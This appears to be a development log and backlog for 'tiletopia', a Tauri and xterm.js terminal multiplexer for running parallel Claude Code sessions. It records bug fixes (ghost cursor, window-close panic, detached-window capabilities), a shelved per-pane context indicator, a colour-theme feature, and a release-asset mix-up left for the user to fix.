- **Windows test 2026-05-28:** narrow-pane toolbar reflow (close × stays visible when shrunk, leaf--narrow/xnarrow tiers) **VERIFIED working.** BUT the context bar **does not show** — root-caused: it keys on `leaf.cwd`, which is ~always `undefined` (`newLeaf` sets no cwd; the shell picker never supplies one; only split-inheritance propagates it). So the cwd↔transcript match never hits for normal panes. Needs the pane's *live* cwd to work — leading options: capture via OSC 7 (default WSL bash under tiletopia doesn't emit it → would need injecting a PROMPT_COMMAND at spawn, shell-specific), or an "active pane shows its distro's currently-active session" heuristic gated on recent mtime. Decision pending with user.
- **Fix implemented 2026-05-28 (OSC 7 live cwd, user chose this) — PENDING re-test.** `pty.rs` Wsl arm now sets `PROMPT_COMMAND` (forwarded via `WSLENV=…:PROMPT_COMMAND/u`) to `printf '\033]7;file://%s%s\033\\' "$HOSTNAME" "$PWD"` so the shell emits OSC 7 each prompt; default Ubuntu bash inherits an env-provided PROMPT_COMMAND (a hard-assigning rc or non-bash shell won't report → bar hidden, no breakage). `XtermPane` registers `term.parser.registerOscHandler(7, …)`, decodes the path, fires new `onCwd` prop. `LeafPane` tracks `liveCwd` and matches on `(liveCwd ?? leaf.cwd)`. OSC 7 fires at the bash prompt right before `claude` launches → `liveCwd` = claude's launch cwd; also follows `cd`. **If still blank after re-test:** check the shell actually emits OSC 7 (it won't if the user's rc hard-sets PROMPT_COMMAND, or default shell isn't bash) and that backend `get_pane_context` returns sessions (UNC/$HOME probe).
- **SHELVED 2026-05-28 (user decision).** After getting OSC 7 + the queueMicrotask render-phase fix working (matching confirmed via console diagnostics), the remaining wall was unsolvable from transcripts: **can't distinguish "claude is live in this pane" from "a shell sitting in a directory that recently had a claude session."** No reliable signal — claude Code renders **inline (not the alternate-screen buffer)** so alt-screen detection fails; no WSL foreground-process access from the Windows host (wsl.exe PID ≠ linux shell PID); and any mtime recency gate can't separate an idle-but-live session (was 18min idle) from a stale neighbouring shell (52min). Also the 200k-vs-1M window isn't in the transcript (`model` is bare `claude-opus-4-7`; the `[1m]` in `/context` is display-only) so % is unreliable (showed absolute tokens instead). Removed the indicator, OSC 7 injection (pty.rs), `usage.rs`/`get_pane_context`, `src/lib/usage.ts`, orchestration `paneContext`, and the App poll. **KEPT: the narrow-pane toolbar reflow** (`leaf--narrow`/`leaf--xnarrow` width tiers via ResizeObserver, label shrinks first, close × stays pinned/visible to the 180px min) — verified working, independent of the context feature. **If ever revisited:** the only correct approach is a WSL foreground-process probe (the deferred "is claude foreground" idle-detection backlog item) to know which pane is actually running claude.
- **Windows test #2 2026-05-28 (OSC 7) + refinements:** OSC 7 injection **confirmed working** (`echo $PROMPT_COMMAND` shows our printf; a fresh pane lit up). Two issues found + fixed: (1) **bars appeared on plain bash panes** sitting in a dir that once had a claude session → added a **recency gate** (`CONTEXT_ACTIVE_MS = 10min`): only show when the matched session was written recently, so it tracks a live claude not a dormant transcript. (2) **The `[1m]` 1M-context marker is NOT in the transcript** — model id is bare (`claude-opus-4-7`), `[1m]` is display-only in `/context`. So the 200k-vs-1M window is unknowable from transcripts; the old `<200k→200k` guess overstated % for 1M users (42k read 21% vs claude's real 4%). Fix: indicator **label now shows absolute token count** (`formatTokens`, accurate regardless of window); the fill bar **assumes 1M**. A long-running claude pane spawned by the OLD binary won't have OSC 7 → no bar until respawned. **Still pending: confirm a freshly-spawned claude pane shows the right number.**
- **Superseded — original lifetime-token panel refinements (kept for history):** (1) **Scope** — panel + titlebar chip now default to sessions matching open panes ("this workspace"), with an "open panes / all recent" toggle. The first cut summed *every* recent session on the distro (all projects, `/mnt` + home), which read as inflated. **Investigated the "double counting mounted folders + projects" report: NOT a real double count** — every transcript file is read exactly once, and no two project dirs share a cwd because claude resolves symlinks/mounts to the real path before mangling the project-dir name (e.g. the `~/claude/projects/tiletopia → /mnt/d/dev/tiletopia` symlink yields only `-mnt-d-dev-tiletopia`). The inflation was purely the global scope. (2) **Metric framing** — user is on a Pro/Max subscription where $ is meaningless (and `/usage` rate-limit quota can't be derived from transcripts); **tokens are now the headline**, the API-cost estimate is a labeled secondary `~$` kept visible so the user can validate it against real API billing at work. **Open question:** accuracy of the $ estimate vs actual API billing — user will check at work.
- [ ] **Smart link providers.** `terminal.registerLinkProvider()` to make file paths (`src/foo.ts:12:3`), `localhost:PORT`, and error locations clickable — more flexible than the regex-only web-links addon already loaded. Open file in editor / browser. Difficulty: medium.
- [x] ~~**Find in scrollback.**~~ Done + **verified on Windows 2026-05-28**`@xterm/addon-search` + new `src/components/SearchBar.tsx`/`.css` overlay, Ctrl+Shift+F open / Enter / Shift+Enter / Esc, regex + case toggles, decoration highlight.
- [x] ~~**Unicode 11 + grapheme width.**~~ Done + **verified on Windows 2026-05-28**`@xterm/addon-unicode11` loaded after CanvasAddon, `term.unicode.activeVersion = '11'`. (Skipped the separate `addon-unicode-graphemes` for now.)
- [x] ~~**Pane navigation key handler.**~~ Done + **verified on Windows 2026-05-28** — Ctrl+Alt+Arrow / Ctrl+Alt+HJKL (spatial via `findNeighborInDirection`) + Alt+1..9 (Nth `walkLeaves` leaf). New `NavigateIntent` union in orchestration.tsx; XtermPane emits intent via new `onNavigate` prop → LeafPane → App `navigateTo` sets active leaf (reuses isActive→focusTrigger refocus). All chords share the one `attachCustomKeyEventHandler`. **Caveats:** Alt+1..9 swallows bare Alt+digit (breaks readline digit-arg / vim buffer-jump); Ctrl+Alt+Arrow may collide with Windows virtual-desktop switching — both noted in shortcuts.ts, v2 mitigation = opt-out toggle or Ctrl+Alt+Shift+Arrow.
**Stuck/ghost cursor bug — FIXED + verified on Windows 2026-05-28.** The DOM renderer (xterm default) draws the cursor as a separate layered DOM element; under the Claude TUI's rapid cursor hide/show (`\x1b[?25l/h`) + `cursorBlink` it left a stale white block frozen at the old cursor position. Fix: load `@xterm/addon-canvas` in XtermPane after `term.open()` (composites the cursor into the text surface), wrapped in try/catch that falls back to the DOM renderer on init failure. Chose canvas over WebGL because tiletopia runs many panes and WebView2 caps live WebGL contexts at ~16. User confirmed the marker no longer sticks.
**Implementation note:** the three above were built in one fan-out workflow (parallel design on haiku/sonnet → single sonnet implementer applying to shared files), since all three touch `XtermPane`'s mount + its single `attachCustomKeyEventHandler` (xterm replaces the handler on each call, so they MUST coexist in one registration — don't add a second `attachCustomKeyEventHandler` anywhere).
**Parked — circle back (saved, not yet prioritized):**
*Tier 1 — core "many claudes" mission (highest leverage):*
- [ ] **Git worktree per session.** Spawn each claude pane into its own auto-created worktree+branch so parallel sessions on one repo can't clobber each other. The defining feature of every dedicated tool in the space (Crystal, Conductor, claude-squad, Vibe Kanban); Claude Code itself has `--worktree`. Unlocks best-of-N variants side-by-side. Fiddly part is worktree lifecycle/cleanup-on-close. Difficulty: medium.
- [ ] **Session status: working / waiting-for-input / done.** Existing idle detection conflates "blocked on a permission prompt" with "finished." Pattern-match claude's prompt strings (`Do you want to proceed?`, ``, y/n) to distinguish *needs-me* vs *done*. This is what lets one human supervise 8 agents; makes native notifications 10× more useful. Difficulty: medium.
- [ ] **Cross-session diff review.** Per-pane side tab rendering `git diff` in that session's worktree, with accept/reject. With worktrees, reviewing N branches is the bottleneck. Difficulty: medium.
- [ ] **Prompt queueing per pane.** Queue follow-up prompts that auto-send when claude returns to idle. Builds on existing idle detection + broadcast plumbing. Difficulty: easy.
- [ ] **Session templates / "spawn N".** Named launch presets (cwd, worktree scheme, initial prompt, env) + "spawn 3 copies, each a different approach." Difficulty: easy.
- [ ] **Auto-restart / resume on crash or context-limit.** Watch PTY exit codes, distinguish clean vs crash, re-spawn with `claude --resume`/`--continue` to keep long unattended runs alive. Difficulty: medium.
- [ ] **Per-session budget caps w/ auto-pause.** Token/$ ceiling per session/workspace; auto-pause or notify at ~85%, flag sessions stuck retrying. Layers on cost tracking. Difficulty: medium.
- [ ] **Kanban/task-board view over sessions.** Card = task = worktree = agent, moving queued → running → needs-review → merged (à la Vibe Kanban). MCP server makes Claude-driven task decomposition feasible. Substantial 2nd UI paradigm — defer until the Tier-1 cluster lands. Difficulty: hard.
*Tier 2 — terminal power-user:*
- [ ] **Layout restore across restarts (lighter version).** `@xterm/addon-serialize` snapshots screen+scrollback so reopening restores live-looking terminals. The 80% version of the already-deferred "persistent scrollback" (which needs an out-of-process mux daemon). Difficulty: medium.
- [ ] **Output triggers (regex → action).** iTerm2-style: watch each PTY stream for user regex, fire notify/highlight/auto-keystroke/mark. Reuses the idle-detection data tap; more precise than generic idle. Difficulty: medium.
- [ ] **Quick-select / hints mode.** Overlay short labels on URLs/paths/hashes in the visible buffer; type label to copy/open (WezTerm quick-select / Kitty hints). Difficulty: medium.
- [ ] **Activity markers / decorations.** `registerMarker()` + `registerDecoration()` to mark prompt boundaries / errors / command-finished in the gutter + jump between them. Difficulty: medium.
- [ ] **Stacked / floating panes.** Zellij-style: collapse 10+ panes into stacks (thin title bars, expand on focus), or float a scratch terminal over the grid. Scales past where pure tiling breaks (~8 panes). Difficulty: medium.
- [ ] **Capture / pipe pane output.** tmux capture-pane / pipe-pane: dump scrollback to file or tee live output to a log/command. Auto-logging each claude session → searchable transcripts. Difficulty: easy.
- [ ] **Pane fuzzy switcher.** Extend the Ctrl+K palette with a pane-target source: fuzzy-find any pane across tabs/windows by title/cwd/project/command. Difficulty: easy.
- [ ] **Saved command/prompt snippet library.** Reusable parameterized commands/prompts inserted into any pane (or broadcast) via the palette (Warp Workflows). Difficulty: easy.
- [ ] **System clipboard addon (OSC 52).** `@xterm/addon-clipboard` so a claude session inside WSL can set the host clipboard. Difficulty: easy.
- [ ] **Inline images (sixel / iTerm IIP).** `@xterm/addon-image` to render images CLIs emit (charts, previews, imgcat). Niche; needs memory tuning. Difficulty: medium.
- [ ] **Inline file/markdown/diff preview.** Click a path in output → side-panel preview (markdown render, image, diff) without leaving the app (Wave Terminal). Difficulty: hard.
*Tier 3 — platform & polish (some overlap existing backlog):*
- [ ] **System tray + minimize-to-tray.** `TrayIcon` (`@tauri-apps/api/tray`) — keep tiletopia resident, restore/jump-to-workspace from tray. Difficulty: easymedium.
- [ ] **Single-instance + window-state persistence.** `tauri-plugin-single-instance` + `tauri-plugin-window-state` — no duplicate launches, restore window geometry (the per-window-geometry gap noted elsewhere in this file). Difficulty: easy.
- [ ] **Global summon hotkey.** `tauri-plugin-global-shortcut` — system-wide hotkey to raise tiletopia from any app. Difficulty: easy.
- [ ] **Settings panel.** A home for the already-deferred configurable idle threshold + MCP port + theme toggle, all currently hardcoded. Difficulty: easymedium.
- [ ] **Small UX wins (codebase agent):** auto-save MCP policy rules (debounce like workspace save); `Ctrl+Shift+N` for new pane; 5s undo-toast on pane close (toast infra exists); narrow-window titlebar overflow menu; stronger broadcast-group visual tint; change-cwd-without-respawn (needs `/proc/<pid>/cwd` probe).
(Native OS notifications, configurable idle threshold, and persistent scrollback already appear in the top checklist — not duplicated here; the research reinforces their priority and the status-detection item above multiplies the notification payoff.)
## Session log
### 2026-06-11 — NEW user-reported cursor bug (diagnosis pending user A/B test)
**Symptom:** typing in a pane, the cursor "gets stuck" / shows a gap between typed text and the cursor block; after a few seconds of not typing the gap "vanishes" (display snaps correct). User Q&A: only noticed **inside claude** (not confirmed at plain bash); **a few seconds** to self-correct; unknown whether visual-only or a real eaten character. Distinct from the 2026-05-28 stuck/ghost cursor (that was the DOM renderer leaving a stale block; fixed via canvas addon).
**Leading hypothesis: Claude Code TUI input-render buffering, not tiletopia.** Claude's Ink TUI does render+stdin on one event loop; under load it buffers keystroke echo and flushes in a batch — cursor lags/gaps then catches up. Documented upstream: claude-code #58498 (input invisible/cursor frozen, dumps at once), #63504 (Windows host CPU pressure starves input loop), #29366, #2847. Running many parallel claudes (tiletopia's whole purpose) = exactly the CPU-contention trigger.
**Decisive test (user to run):** same distro, run `claude` in Windows Terminal, type fast mid-session — if it reproduces there, it's claude upstream, not tiletopia. Also check whether it correlates with number of busy panes.
**If tiletopia-implicated:** note `@xterm/addon-canvas` is now **deprecated upstream** (no fixes, removed in xterm v6; webgl is the recommended path — would need context-pool management given the ~16 WebGL context cap with many panes; xterm 5.5's DOM renderer is faster than when we abandoned it but would regress the 05-28 ghost-cursor fix). Renderer swap is the lever ONLY if the A/B test pins it on tiletopia.
### 2026-06-01 — Customizable terminal colors (global theme + per-pane override), v0.4.1
**Feature:** user-editable terminal colors. Scope = **global default + per-pane override** (both, per the user's choice). Editable colors = **background / foreground / cursor / selection** only (NOT the full 16-color ANSI ramp — explicitly out of scope). UI = **modal + presets**.
**New `src/lib/theme.ts`** is the model: `PaneColors` type (4 optional hex fields); `DEFAULT_PANE_COLORS` (the historical palette: bg `#0c0c0c`, fg `#c5c8c6`, cursor `#ffffff`, selection `#3a3a3a`); `COLOR_PRESETS` (Tiletopia Dark, Solarized Dark, Gruvbox Dark, Dracula, Nord, Light); `resolvePaneColors(global, override)` (override > global > default, field-by-field, always returns all 4); `toXtermTheme()` → xterm `ITheme` (maps `selection``selectionBackground` per xterm 5.5 rename, pins `cursorAccent`=background, and keeps the fixed softened `white #c5c8c6`/`brightWhite #e0e0e0` slice in `BASE_XTERM_THEME`); `loadGlobalColors`/`saveGlobalColors` (localStorage, hex-validated).
**Persistence split — NO Rust changes needed.** Global default → **localStorage** (`tiletopia.globalColors.v1`), shared per-origin across windows, live cross-window sync via the `storage` event. Per-pane → new optional **`LeafNode.colorOverride`** riding in the workspace tree; the Rust backend stores the tree as opaque `serde_json::Value` (`window_state.rs`), so any new optional leaf field round-trips for free — confirmed before coding (same reason `fontSizeOffset`/`broadcast`/`mcpAllow` persist). `colorOverride` preserved across `setLeafShell` + `reshapeToPreset`; new metadata-only `setLeafColors` mutator (clears override when passed undefined/all-undefined).
**Live apply:** `XtermPane` gained a `colors?: Required<PaneColors>` prop; mount theme = `toXtermTheme(initialColorsRef ?? DEFAULT_PANE_COLORS)`; a new effect (keyed on the 4 fields, not object identity) sets `term.options.theme` + `term.refresh()` on change — mirrors the existing fontSize effect. No fit/resize (color doesn't change cell geometry). **This subsumed a pre-existing uncommitted softened-foreground tweak** (the old literal `theme:{background,foreground}` block) into theme.ts.
**Wiring:** orchestration gained `globalColors`, `setLeafColors`, `openColorPanel(leafId?)`. New `ColorPanel.tsx`/`.css` modal (mirrors McpPanel style): **Global default / This pane** tab toggle, 4 color-picker+hex rows (per-row "↺ revert to global" in pane mode), live preview swatch, preset buttons, reset action. Titlebar **🎨** button → global mode; per-pane toolbar **🎨** chip (lights up when overridden) → that pane.
**Tests:** added `setLeafColors` describe + extended `setLeafShell` preservation test in `tree.test.ts`; new `theme.test.ts` (resolve precedence, toXtermTheme mapping, preset shape). `vitest` **cannot run in WSL**`node_modules` holds the Windows rollup native binary, not `@rollup/rollup-linux-x64-gnu`; do NOT install it from WSL (corrupts the Windows build tree). `tsc -b` passes (covers src + tests via tsconfig.app's `include:["src"]`). Run `pnpm test` on the Windows host.
**Commits:** `7e624a3` (feature), `ca97fb3` (bump 0.4.0→**0.4.1** in package.json + tauri.conf.json + Cargo.toml + Cargo.lock), `8c6aded` (this memory entry). Pushed to origin/main. Then released `v0.4.1` via `scripts/release.sh v0.4.1`.
**⚠️ UNRESOLVED — wrong installer attached to the v0.4.1 release.** The git tag `v0.4.1` and the Forgejo release entry (title v0.4.1) are correct, but the attached `.exe` is **`tiletopia_0.4.0_x64-setup.exe`**, not 0.4.1. Cause: `release.sh` picks the newest `*-setup.exe` by **mtime** (`ls -1t | head -n1`); a stale 0.4.0 build (23:44) was newest when release.sh ran (23:51); the correct 0.4.1 build landed at 23:56, after publish. `tiletopia.mcpb` asset is fine. **Fix (needs running — was auto-denied as an outward-facing release-asset edit; user to authorize/run):**
```
tea releases assets create --login rdx4 v0.4.1 src-tauri/target/release/bundle/nsis/tiletopia_0.4.1_x64-setup.exe
tea releases assets delete --login rdx4 --confirm v0.4.1 tiletopia_0.4.0_x64-setup.exe
```
**TODO — harden `scripts/release.sh`** so this can't recur: select `tiletopia_${pkg_version}_x64-setup.exe` explicitly (fail if missing) instead of newest-by-mtime; optionally bail if no installer is newer than the bump commit.
### 2026-05-30 — FIX: closing any window killed all windows (Tokio-runtime panic)
**Symptom:** after dragging a pane out (or spawning) a daughter window, closing *either* the main or a daughter window closed them all, dumping `exit code 101`.
**Root cause (confirmed via a 3-agent Workflow + reading the installed `tauri-runtime-wry-2.11.2` / `tauri-2.11.2` source):** NOT the exit logic and NOT WebView2. It was a **panic on the main thread**. The synchronous `on_window_event` `CloseRequested` handler in `lib.rs` calls `WindowsState::forget()``schedule_save()``tokio::spawn` (`window_state.rs:95`). That callback runs on the wry event-loop main thread with **no ambient Tokio runtime**, so `tokio::spawn` panics (`there is no reactor running…`); an unhandled main-thread panic aborts the whole process, taking every window + PTY down. `push_window_workspaces` hit the same `schedule_save` line but never crashed because it's an `async #[tauri::command]` that already runs inside Tauri's managed Tokio runtime — the bug only fired on the window-close path.
**Fix (`src-tauri/src/window_state.rs`):** swap `tokio::spawn`**`tauri::async_runtime::spawn`**, which schedules onto Tauri's global lazily-init'd Tokio runtime and works from *any* thread (incl. sync callbacks). Verified against `tauri-2.11.2/src/async_runtime.rs`: same `JoinHandle` shape, has `.abort()` (needed for the debounce cancel), and `tokio::time::sleep` still works inside the spawned future. Imports: `JoinHandle`+`spawn` now from `tauri::async_runtime`, `Duration` from `std::time`, `sleep` from `tokio::time`. **Rule learned: never call `tokio::spawn`/`tokio::*` runtime APIs from `on_window_event`, the `RunEvent` `.run()` closure, `Drop` impls, or any sync helper reachable from them — use `tauri::async_runtime::spawn`. Audit found this was the ONLY unsafe instance (`mcp.rs:800` and `mcp.rs:1502` are in async contexts → safe).**
**Also `src-tauri/src/lib.rs` (defensive, not the primary fix):** switched `.run(generate_context!())``.build(…).run(|app, event| …)` and on `RunEvent::ExitRequested` call `api.prevent_exit()` iff `code.is_none() && !webview_windows().is_empty()` — belt-and-suspenders so no future path can tear down the process (and orphan live PTYs) while any window remains; explicit `AppHandle::exit(Some)` is always honored. Verified-from-source semantics: wry emits `ExitRequested{code:None}` **only** when the last window is destroyed (window store empty), and `manager.on_window_close` removes the window from `webview_windows()` *before* `ExitRequested` fires, so the count is accurate and there's no zombie risk. Window close/destroy logging demoted `warn!``debug!` (run `RUST_LOG=tiletopia=debug` to trace).
**Status: VERIFIED on Windows 2026-05-30** (`pnpm tauri dev`) — closing a daughter (and the main) no longer kills the other windows; no exit-101. Fix committed in `9144ba6`. **Known minor follow-up:** a deliberately-closed window's *own* panes leak their PTYs (webview JS doesn't run XtermPane unmount cleanup on OS close), so those WSL shells linger orphaned — lower priority than persistence, not fixed.
### 2026-05-28/29 — bug fix + feature batch from the backlog (post-0.4.0)
Started from a user-reported **stuck/ghost cursor** in panes; fixed by switching xterm from the DOM renderer to `@xterm/addon-canvas` (DOM renderer leaves a stale cursor block under the Claude TUI's rapid hide/show + blink). User verified fixed on Windows.
Then a 4-agent fan-out research pass into features (logged in the "Feature backlog — 2026-05-28 fan-out research" section above), from which the user picked 5 to explore. Shipped + **verified on Windows**: **find-in-scrollback** (Ctrl+Shift+F + SearchBar overlay), **Unicode 11**, **keyboard pane navigation** (Ctrl+Alt+arrows/HJKL + Alt+1..9) — built via a Workflow (parallel design on haiku/sonnet → one sonnet implementer). Plus a **narrow-pane toolbar reflow** (close × stays visible to the 180px min via `leaf--narrow`/`xnarrow` width tiers) — verified.
**Per-session token tracking → context bar → SHELVED.** Built a WSL transcript reader + usage panel, then pivoted (user feedback) to a per-pane context-fill indicator, then **shelved it entirely** — couldn't reliably tell "claude is live in this pane" from "a shell in a dir that recently had a claude session" (no alt-screen, no WSL foreground-process access, no usable mtime cutoff; 200k/1M window not in transcripts). Full postmortem under the per-session-cost backlog item above. The narrow-toolbar fix was kept; everything else from that thread was reverted.
Backlog added: **"reattach window to existing window."** Misc cleanups: removed an accidental `dev` npm package + stale `inotify` lockfile/workspace cruft from the Windows side. **Still open in the "explore first" set: smart link providers.** All commits pushed to `main` (tip `cd55006`); deps (canvas/search/unicode11) installed + lockfile committed. No version bump / release cut this session.
### 2026-05-28 — **v0.4.0 shipped** (tabs + multi-window made actually working)
Resume session that took the 2026-05-28 tabs/multi-window feature from "authored, unverified, buggy" to a shipped release. User built the NSIS `.exe` on Windows and ran `scripts/release.sh v0.4.0` (which also attaches `tiletopia.mcpb` now — the script was updated since the earlier session log note claimed it didn't). Version bumped 0.3.0 → 0.4.0 across package.json + Cargo.toml + tauri.conf.json + Cargo.lock atomically (commit `2a1f1d4`). README highlights list got tabs + multi-window bullets (`5ef35e3`); body sections + shortcut tables were already current, hard-deny count already 14, `gen:readme --check` clean.
Commits this session: `bea6cf2` (capability + StrictMode adopt fix), `e6d0040` (accumulation + tab-close + scrollbars + drag ghost), `309b602` (XtermPane listener leak), `2a1f1d4` (version), `5ef35e3` (README). **Full technical detail for all fixes is in the "RESOLVED 2026-05-28 (resume session)" block under the original feature's session log below** — capability glob, destructive-read×StrictMode session loss, drag ghost (B1), drag-out registration wait, workspace-accumulation aggregator fix + corrupted-file reset, tab-close popover portal, global scrollbars, and the pre-release 3-agent audit (1 medium fixed, 1 high deferred).
**Known deferred follow-up (carried):** the HIGH-severity transfer-refcount/PTY leak if a detached window closes mid-adopt — low-probability, ship-now decision. Proper fix sketched in the audit notes below (label→paneId adopting registry + close-handler force-kill).
### 2026-05-28 — Tabs + multi-window pane transfer (3 phases, pushed)
Two big features the user asked for in one session. Three commits on `main`: `1a035ad` (Phase 1 tabs), `8ad5178` (Phase 2 transfer), `6faf7e5` (Phase 3 drag-out). **Rust side authored in WSL — cargo build still needs verification on Windows host before this is runnable.**
**Phase 1 — tabbed workspaces.** Tab strip above the existing pane area; each tab owns an independent tile tree.
- **Persistence shape:** workspace.json migrated from bare `TreeNode` to `{ version: 2, workspaces: [{ id, name, tree }] }`. Legacy v1 is auto-detected in `deserializeWorkspaces` and wrapped as `[{ name: "Default", tree: <legacy> }]`. Per-leaf `migrateLegacyLeaves` (PowerShell sentinel etc.) still applies per-tree.
- **PTYs survive tab switches via render-all-panes.** Every workspace's panes mount at once; inactive workspace layers use `visibility: hidden; pointer-events: none; z-index: 0` while keeping `position: absolute; inset: 0`. `visibility: hidden` (vs `display: none`) preserves the container's bounding rect so xterm.js's fit() reads valid dims; the existing per-pane resize dedupe in XtermPane (`lastSentCols/Rows` check) absorbs no-op SIGWINCHes.
- **`tree` / `setTree` kept as identity-stable derived wrappers** that read `currentWorkspaceIdRef.current`. Means the bulk of App.tsx didn't change despite the state model shift. Same trick for `activeLeafId` / `setActiveLeafId` — backed by `activeLeafByWorkspace: Map<WorkspaceId, NodeId | null>` so each tab remembers its own focus.
- **Hidden-tab focus guard (plan-agent catch).** XtermPane's mount-time `term.focus()` would yank focus into hidden tabs on app boot. Guarded with `getComputedStyle(container).visibility !== "hidden"`. CSS visibility is inherited, so the computed value on the container reflects the workspace-layer's setting. Focus poller in App.tsx:223 also scoped to the active workspace layer via `data-workspace-id` ancestor check.
- **Shortcuts:** Ctrl+T new tab, Ctrl+Shift+T close (window.confirm when there are live panes), Ctrl+PageDown/PageUp navigate, Ctrl+1..9 switch. shortcuts.ts is SoT; README + Help auto-regenerate via `pnpm gen:readme`.
- **Tab close confirm is inline popover** anchored to the X button (per plan-agent: not modal-queue style — close is user-initiated, not a stream of unsolicited prompts like MCP).
**Phase 2 — multi-window pane transfer.** Right-click pane toolbar → "Move to new window" pops the pane into a fresh tiletopia window with its PTY intact. New window is a full peer with its own tab strip.
- **The load-bearing facts** (verified by reading pty.rs / lib.rs / ipc.ts):
1. `PaneId = u64`, never reused, sequence-assigned. Stable across windows.
2. `pane://{id}/data` events go through `AppHandle::emit` — Tauri 2 event system is **process-wide**, so any window that `listen()`s on the same id gets the same stream.
3. `PtyManager` lives in `Arc<>` managed state; one process, one manager, every window shares it.
- **Transfer-suppression: Rust-side refcount, NOT a JS module Set.** `PtyManager.transferring: Mutex<HashMap<PaneId, u32>>`. `kill_pane` becomes a no-op while refcount > 0. Source window's unmount calls `kill_pane` → silently dropped; target window's `claim_pane` decrements after subscribing. The JS-side "in-flight set" the plan-agent vetoed would have raced cross-window React event loops.
- **Scrollback replay shipped in v1** (plan-agent's other ship-in-v1 call). `get_pane_ring(id) -> base64` returns the existing PaneRing snapshot (256 KiB ≈ 3000 lines @ 80 cols). New window's XtermPane writes the ring to xterm.js BEFORE attaching the live `onPaneData` listener. Without this, a transferred Claude session looks blank until the next prompt repaint.
- **Cross-window save coordination via backend aggregator** (plan-agent's third correction). Each window debouncing its own write to workspace.json would race. New `window_state.rs`: `WindowsState { per_window: Mutex<HashMap<String, Vec<Value>>>, save_task: Mutex<Option<JoinHandle>> }`. Frontends call `push_window_workspaces(label, json)`; backend stores per-window, debounces save with a 500ms tokio sleep, atomic-writes the merged `{ version: 2, workspaces: [<all from all windows>] }`. **Workspaces stored as `serde_json::Value`** — backend stays agnostic of tree shape across future LeafNode changes.
- **Non-main window close drops its entry** via `Tauri::WindowEvent::CloseRequested` in lib.rs `on_window_event`. Matches Chrome-style "closing a detached window discards its tabs". Main window's entry persists across the app lifetime so on next launch all of main's tabs reopen.
- **MCP scoped to main window only.** Both the mirror push and `onMcpRequest` subscription gated on `IS_MAIN_WINDOW = getCurrentWebviewWindow().label === "main"`. `paneIdByLeafRef` is per-window, so a request targeting a leaf in another window would fail to resolve anyway. Documented as "MCP sees main's current tab" — future extension could expose `list_windows()` / `switch_window()` MCP tools.
**Phase 3 — drag-out gesture.** Extended the existing pointer-drag for header swap: release more than 60px past any viewport edge → drag-out via the same `moveToNewWindow` path. The 60px margin avoids triggering on accidental release over the OS titlebar (~30px). No backend changes — just a second entry point into Phase 2's mechanism.
**Architecture artefacts worth remembering:**
- **`getCurrentWebviewWindow().label`** is sync-available at module-load time (not async!) — captured into module-level `CURRENT_WINDOW_LABEL` and `IS_MAIN_WINDOW` constants. Cleaner than `useEffect`-awaiting it.
- **`transferredPaneIdsRef: Map<NodeId, PaneId>`** is a one-shot side channel populated BEFORE `setWorkspaces` during mount, consumed in `registerPaneId`. LeafPane reads it via `orch.getInitialPaneIdFor(leaf.id)` and passes `existingPaneId` to XtermPane to skip spawn. Cleaner than threading the id through LeafNode (which is persisted state).
- **`WindowEvent::CloseRequested` closure captures `Arc<WindowsState>` and `Arc<PendingInits>` by move.** `windows_state_for_event.forget(label)` is the cleanup path; `pending_inits_for_event.by_label.lock().remove(&label)` removes any unconsumed init payload (the consumed-then-window-died case).
**Phase 2 verification needed** (user, on Windows host):
1. `cd D:\dev\tiletopia\src-tauri && cargo check` — the Rust changes have to compile. **Note: `Cargo.toml` lives in `src-tauri/`, NOT the project root** (Tauri layout). I got this wrong in the original verification steps; user had to point it out. Added a preflight-checks rule to global `~/claude/CLAUDE.md`. Watch in the check output for: tauri 2 `WebviewWindowBuilder::new` signature, `on_window_event` handler closure types, my `Arc<Self>` method receiver style on WindowsState.
**Uncommitted local fix (as of 2026-05-28 wrap-up):**
`src-tauri/src/lib.rs` has an added `use tauri::Manager;` import — needed because `Window::app_handle()` is a trait method (Manager trait) used in the new `on_window_event` handler. Same pattern as the `Emitter` trait stumble in v0.3.0. Cargo check went clean after this. **Not committed yet** — user wanted to smoke-test the feature first, then found the bug list below. Commit this fix at the same time as the bug-fix commit.
**Detached-window bug list (deferred — user will resume):**
Smoke test on Windows revealed bugs specific to detached (non-main) windows. Main window is unaffected.
- **B1** — Drag-out has no ghost image during drag (cosmetic, user OK with deferring).
- **B2** — Detached window: transferred pane is blank, "idle" within 5s. No input, no output.
- **B3** — Detached window: shell-picker swap (Ubuntu → PowerShell → Ubuntu) doesn't spawn a working terminal. Fresh `spawn_pane` call from the detached window — toolbar updates but no PTY output.
- **B4** — Detached window: new tab (Ctrl+T or + button) creates the tab but no terminal. Same blank/idle symptom.
- **B5** — Right-click "Move to new window" produces the same broken detached window as drag-out. Confirms the bug is detached-window-scoped, not gesture-scoped.
- **B6** (control) — Main window: new tab, new pane, normal ops all work.
**Strongest single hypothesis** for B2B5: **Tauri 2's capability system gates `invoke` and `listen` per window-label.** Default capability config in `src-tauri/capabilities/default.json` (or similar) usually scopes to `"windows": ["main"]`. Newly-built `pane-window-*` labels match nothing → all IPC and events silently fail. One config fix (add wildcard window pattern, or programmatically attach a capability to each new window before `.build()`) would explain ALL of B2-B5 in one go.
**Where to look first when resuming:**
1. `src-tauri/capabilities/*.json` — read the existing capability config to confirm scoping.
2. Try `"windows": ["main", "pane-window-*"]` (Tauri 2 supports glob patterns in capability window targets).
3. If that doesn't work: `AppHandle::add_capability(...)` on the new window before `.build()` in `commands.rs::create_pane_window`.
4. Verify by re-testing B4 first (simplest: fresh new tab in a detached window — needs only `invoke("spawn_pane")` and `listen("pane://...")` to work).
**RESOLVED 2026-05-28 (resume session) — two root causes, both fixed:**
- **B2B5 (blank/dead detached windows) = the capability hypothesis, confirmed.** `src-tauri/capabilities/default.json` had `"windows": ["main"]`; detached labels are `pane-window-<micros>` (commands.rs:122) → matched nothing → every `invoke`/`listen` silently denied. Fix: `"windows": ["main", "pane-window-*"]`. Tauri 2 glob pattern works; one line cleared all four. (App-defined commands aren't individually permission-gated — they're available to any window the capability is *applied* to, i.e. listed in `windows`.)
